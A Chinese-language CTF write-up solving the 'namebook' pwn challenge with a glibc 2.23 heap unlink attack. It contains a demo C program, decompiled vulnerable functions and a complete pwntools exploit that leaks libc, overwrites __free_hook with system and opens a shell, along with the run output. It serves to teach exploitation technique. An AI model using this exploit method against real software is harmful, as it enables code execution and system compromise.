namebook 简单的unlink利用

源程序:http://file.eonew.cn/elf/namebook,IDA分析文件:
http://file.eonew.cn/ida/namebook.i64,该pwn题需要基本的unlink的知识,如果您不了解,可以去
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink/简单了解下,本文部分借鉴自大佬 钞sir https://blog.csdn.net/qq_40827990/article/details/88257642的博客。下面的测试环境全是glibc-2.23,建议不要在glibc-2.26或更大的环境测试(因为tcache机制)。

前言

在开始之前先用一段代码来简单的看看unlink的实现:

demo.c

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

struct chunk_structure
{
    size_t prev_size;
    size_t size;
    struct chunk_structure *fd;
    struct chunk_structure *bk;
    char buf[10]; // padding
};

int main()
{
    unsigned long long *chunk1, *chunk2;
    struct chunk_structure *fake_chunk, *chunk2_hdr;
    char data[20];
    struct chunk_structure *chunk1_hdr;
    struct chunk_structure *chunk3_hdr;

    // First grab two chunks (non fast)
    chunk1 = malloc(0x80);
    chunk2 = malloc(0x80);
    printf("%p\n", &chunk1);
    printf("%p\n", chunk1);
    printf("%p\n", chunk2);

    // Assuming attacker has control over chunk1's contents
    // Overflow the heap, override chunk2's header

    // First forge a fake chunk starting at chunk1
    // Need to setup fd and bk pointers to pass the unlink security check
    chunk1_hdr = (struct chunk_structure *)(chunk1 - 2);
    fake_chunk = (struct chunk_structure *)chunk1;
    fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
    fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

    // Next modify the header of chunk2 to pass all security checks
    chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
    chunk2_hdr->prev_size = 0x80; // chunk1's data region size
    chunk2_hdr->size &= ~1;          // Unsetting prev_in_use bit

    // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
    // This results in chunk1 pointer pointing to chunk1 - 3
    // i.e. chunk1[3] now contains chunk1 itself.
    // We then make chunk1 point to some victim's data
    free(chunk2);
    printf("%p\n", chunk1);
    printf("%x\n", chunk1[3]);
    chunk3_hdr = (struct chunk_structure *)(chunk1 - 2);

    chunk1[3] = (unsigned long long)data;

    strcpy(data, "Victim's data");

    // Overwrite victim's data using chunk1
    chunk1[0] = 0x002164656b636168LL;

    printf("%s\n", data);

    return 0;
}

unlike确实有点抽象,可以用这个典型的unlike代码先进行调试,这样子可以对unlink有较好的理解,运行结果:

ex@ubuntu:~/test$ gcc -o demo demo.c 
demo.c: In function ‘main’:
demo.c:51:12: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 2 has type ‘long long unsigned int’ [-Wformat=]
     printf("%x\n", chunk1[3]);
            ^
ex@ubuntu:~/test$ ./demo
0x7ffc63f821e0
0x134d010
0x134d0a0
0x7ffc63f821c8
63f821c8
hacked!

简介

该pwn题主要考验对unlink的基本使用。

功能介绍

int print_menu()
{
  setbuf(stdout, 0LL);
  signal(14, handler);
  alarm(0x3Cu);
  puts("NameBook--v1.0");
  puts("1.set name");
  puts("2.delete name");
  puts("3.get name");
  puts("4.reset name");
  return puts("5.exit");
}

主要是四个功能:set_name,delete_name,get_name,reset_name。

set_name

int set_name()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("index:");
  v1 = get_number();
  if ( v1 > 9 )
    return puts("invalid range");
  ptr[v1] = (char *)malloc(128uLL);
  printf("name:");
  gets_1((__int64)ptr[v1], 128u);
  return puts("done.");
}

这里有个明显的off-by-one漏洞,理论上也可以用用这个漏洞来做,有能力的师傅可以尝试从这里切入。

gets_1

__int64 __fastcall gets_1(__int64 a1, unsigned int a2)
{
  __int64 result; // rax
  signed int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = (unsigned int)i;
    if ( i >= a2 )
      break;
    if ( read(0, (void *)(i + a1), 1uLL) < 0 )
      exit(-1);
    if ( *(_BYTE *)(i + a1) == 10 )
    {
      result = i + a1;
      *(_BYTE *)result = 0;
      return result;
    }
  }
  return result;
}

上面的输入程序可以溢出两字节,一个是off-by-one,一个是将最后一字节设为0。

delete_name

int delete_name()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("index:");
  v1 = get_number();
  if ( v1 > 9 || !ptr[v1] )
    return puts("invalid range");
  free(ptr[v1]);
  ptr[v1] = 0LL;
  return puts("done.");
}

这里将free后的指针设为NULL了,所以很难利用UAF漏洞。

get_name

int get_name()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("index:");
  v1 = get_number();
  if ( v1 > 9 || !ptr[v1] )
    return puts("invalid range");
  puts(ptr[v1]);
  return puts("done.");
}

打印ptr[i]里面的内容,一般是用来泄露基地址的。

reset_name

int reset_name()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("index:");
  v1 = get_number();
  if ( v1 > 9 || !ptr[v1] )
    return puts("invalid range");
  printf("name:");
  gets_1((__int64)ptr[v1], 256u);
  return puts("done.");
}

重设内容,前面在set_name我们看到了申请的是128字节,但是这里却允许改256个字节,很明显这里存在堆溢出。

程序有什么漏洞呢?

该程序的漏洞主要集中在reset_name里的堆溢出,由于我们可以输入超过它自身chunk大小的字节数,所以可以覆盖到下一个chunk,这样就刚好有了unlink的基本条件。

exploit思路

  1. 使用unlink漏洞控制ptr指针
  2. 泄露基地址,计算system
  3. 劫持__free_hook
  4. getshell

使用unlink漏洞控制ptr指针

set_name(2,'')
set_name(3,'')

layout = [
    p64(0), # fake_chunk->pre_size
    p64(0x80), # fake_chunk->size
    p64(ptr_addr - 3 * SIZE_T), # fake_chunk->fd. Ensures P->fd->bk == P
    p64(ptr_addr - 2 * SIZE_T), # fake_chunk->bk. Ensures P->bk->fd == P
    'a' * SIZE_T * 12, # padding
    p64(0x80), # chunk2_hdr->prev_size. chunk1's data region size
    p64(0x90) # chunk2_hdr->size. Unsetting prev_in_use bit
]

print(hexdump(flat(layout)))

reset_name(2,flat(layout))

delete_name(3)

劫持的是ptr[2]指针,具体原理可以参照上面的unlink实验代码。

泄露基地址,计算system

layout = [
    'a' * (24 - SIZE_T * 2), # offset
    p64(elf.got['exit']) # the ptr addr
]

reset_name(2,flat(layout))

log.info('Get the leak informaiton')
leak_info = get_name(0)
print(hexdump(leak_info))

leak_info = leak_info.ljust(8,'\x00')
libc_addr = u64(leak_info) - libc.symbols['exit']

log.success('libc_addr: ' + hex(libc_addr))

system_addr = libc_addr + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))

# 使用gdb调试获取
__free_hook_offset = 0x3c67a8
__free_hook_addr = libc_addr + __free_hook_offset
log.success('__free_hook_addr: ' + hex(__free_hook_addr))

如下所示__free_hook的地址偏移需要根据不同的环境自己计算,具体的计算方式如下:

ex@ubuntu:~/test$ gdb ./namebook
pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./namebook...(no debugging symbols found)...done.
pwndbg> b main
Function "main" not defined.
pwndbg> b *0x400B9D
Breakpoint 1 at 0x400b9d
pwndbg> r
Starting program: /home/ex/test/namebook 

Breakpoint 1, 0x0000000000400b9d in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
 RAX  0x400b9d ◂— push   rbp
 RBX  0x0
 RCX  0x0
 RDX  0x7fffffffe438 —▸ 0x7fffffffe6b9 ◂— 'LC_PAPER=zh_CN.UTF-8'
 RDI  0x1
 RSI  0x7fffffffe428 —▸ 0x7fffffffe6a2 ◂— '/home/ex/test/namebook'
 R8   0x400c90 ◂— ret    
 R9   0x7ffff7de7ac0 (_dl_fini) ◂— push   rbp
 R10  0x8e
 R11  0x7ffff7b95300 ◂— in     al, dx
 R12  0x400780 ◂— xor    ebp, ebp
 R13  0x7fffffffe420 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x400c20 ◂— push   r15
 RSP  0x7fffffffe348 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
 RIP  0x400b9d ◂— push   rbp
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
  0x400b9d    push   rbp
   0x400b9e    mov    rbp, rsp
   0x400ba1    mov    eax, 0
   0x400ba6    call   0x400948

   0x400bab    mov    edi, 0x3e
   0x400bb0    call   0x400718

   0x400bb5    mov    eax, 0
   0x400bba    call   0x4008f0

   0x400bbf    cmp    eax, 5
   0x400bc2    ja     0x400c0a

   0x400bc4    mov    eax, eax
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe348 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
01:0008│      0x7fffffffe350 ◂— 0x1
02:0010│      0x7fffffffe358 —▸ 0x7fffffffe428 —▸ 0x7fffffffe6a2 ◂— '/home/ex/test/namebook'
03:0018│      0x7fffffffe360 ◂— 0x1f7ffcca0
04:0020│      0x7fffffffe368 —▸ 0x400b9d ◂— push   rbp
05:0028│      0x7fffffffe370 ◂— 0x0
06:0030│      0x7fffffffe378 ◂— 0xa0975abb1ff25e54
07:0038│      0x7fffffffe380 —▸ 0x400780 ◂— xor    ebp, ebp
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
  f 0           400b9d
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint *0x400B9D
pwndbg> p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ffff7dd37a8 <__free_hook>
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x401000 r-xp     1000 0      /home/ex/test/namebook
          0x601000           0x602000 r--p     1000 1000   /home/ex/test/namebook
          0x602000           0x603000 rw-p     1000 2000   /home/ex/test/namebook
    0x7ffff7a0d000     0x7ffff7bcd000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7bcd000     0x7ffff7dcd000 ---p   200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dcd000     0x7ffff7dd1000 r--p     4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dd1000     0x7ffff7dd3000 rw-p     2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dd3000     0x7ffff7dd7000 rw-p     4000 0      
    0x7ffff7dd7000     0x7ffff7dfd000 r-xp    26000 0      /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7fdd000     0x7ffff7fe0000 rw-p     3000 0      
    0x7ffff7ff8000     0x7ffff7ffa000 r--p     2000 0      [vvar]
    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000 0      [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 25000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 26000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0      
    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]
pwndbg> p/x 0x7ffff7dd37a8 - 0x7ffff7a0d000
$2 = 0x3c67a8
pwndbg> 

这个方法比较笨,或许pwntools有函数可以直接获得。

劫持__free_hook

# 将__free_hook 设置为 system
layout = [
    'a' * (24 - SIZE_T * 2), # offset
    p64(__free_hook_addr)
]

reset_name(2,flat(layout))
reset_name(0,p64(system_addr))

unlink之后偏移了24个字节,由于劫持的ptr[2],所以还要向前偏移2个机器字长(前面的两个指针),然后才能覆盖到ptr[0]。

get_shell

# get_shell
sh.sendline('2\n4')

下面的完整代码会显示在刚开始的时候我们就将ptr[4]设为'/bin/sh',所以这里可以直接使用。

完整代码

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

sh = process('./namebook')
elf = ELF('./namebook')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#context.log_level = "debug"

# 全局ptri[2]指针
ptr_addr = 0x602040 + 8 * 2
# 机器字长
SIZE_T = 8

log.info('&ptr[2]_addr: ' + hex(ptr_addr))

def set_name(index, name):
    sh.sendline('1')
    sh.recvuntil(':')
    sh.sendline(str(index))
    sh.recvuntil(':')
    sh.sendline(name)
    sh.recvuntil('>')

def delete_name(index):
    sh.sendline('2')
    sh.recvuntil(':')
    sh.sendline(str(index))
    sh.recvuntil('>')

def get_name(index):
    sh.sendline('3')
    sh.recvuntil(':')
    sh.sendline(str(index))
    result = sh.recvuntil('>')
    return result[:-8]

def reset_name(index, name):
    sh.sendline('4')
    sh.recvuntil(':')
    sh.sendline(str(index))
    sh.recvuntil(':')
    sh.sendline(name)
    sh.recvuntil('>')

sh.recvuntil('>')
set_name(4, '/bin/sh')

set_name(2, '')
set_name(3, '')

layout = [
    p64(0),  # fake_chunk->pre_size
    p64(0x80),  # fake_chunk->size
    p64(ptr_addr - 3 * SIZE_T),  # fake_chunk->fd. Ensures P->fd->bk == P
    p64(ptr_addr - 2 * SIZE_T),  # fake_chunk->bk. Ensures P->bk->fd == P
    'a' * SIZE_T * 12,  # padding
    p64(0x80),  # chunk2_hdr->prev_size. chunk1's data region size
    p64(0x90)  # chunk2_hdr->size. Unsetting prev_in_use bit
]

print(hexdump(flat(layout)))

reset_name(2, flat(layout))

delete_name(3)

layout = [
    'a' * (24 - SIZE_T * 2),  # offset
    p64(elf.got['exit'])  # the ptr addr
]

reset_name(2, flat(layout))

log.info('Get the leak informaiton')
leak_info = get_name(0)
print(hexdump(leak_info))

leak_info = leak_info.ljust(8, '\x00')
libc_addr = u64(leak_info) - libc.symbols['exit']

log.success('libc_addr: ' + hex(libc_addr))

system_addr = libc_addr + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))

# 使用gdb调试获取
__free_hook_offset = 0x3c67a8
__free_hook_addr = libc_addr + __free_hook_offset
log.success('__free_hook_addr: ' + hex(__free_hook_addr))

# 将__free_hook 设置为 system
layout = [
    'a' * (24 - SIZE_T * 2),  # offset
    p64(__free_hook_addr)
]

reset_name(2, flat(layout))
reset_name(0, p64(system_addr))

# get_shell
sh.sendline('2\n4')

sh.interactive()

运行结果:

ex@ubuntu:~/test$ ./exp.py 
[+] Starting local process './namebook': pid 8561
[*] '/home/ex/test/namebook'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
0x601ff8
[*] &ptr[2]_addr: 0x602050
00000000  00 00 00 00  00 00 00 00  80 00 00 00  00 00 00 00  │····│····│····│····│
00000010  38 20 60 00  00 00 00 00  40 20 60 00  00 00 00 00  │8 `·│····│@ `·│····│
00000020  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
*
00000080  80 00 00 00  00 00 00 00  90 00 00 00  00 00 00 00  │····│····│····│····│
00000090
[*] Get the leak informaiton
00000000  30 30 2f 37  aa 7f                                  │00/7│··│
00000006
[+] libc_addr: 0x7faa372b9000
[+] system_addr: 0x7faa372fe390
[+] __free_hook_addr: 0x7faa3767f7a8
[*] Switching to interactive mode
index:$ echo hello world
hello world
$

总结

不会就多问问师傅们,或者自己上机调试一遍,实践出真知。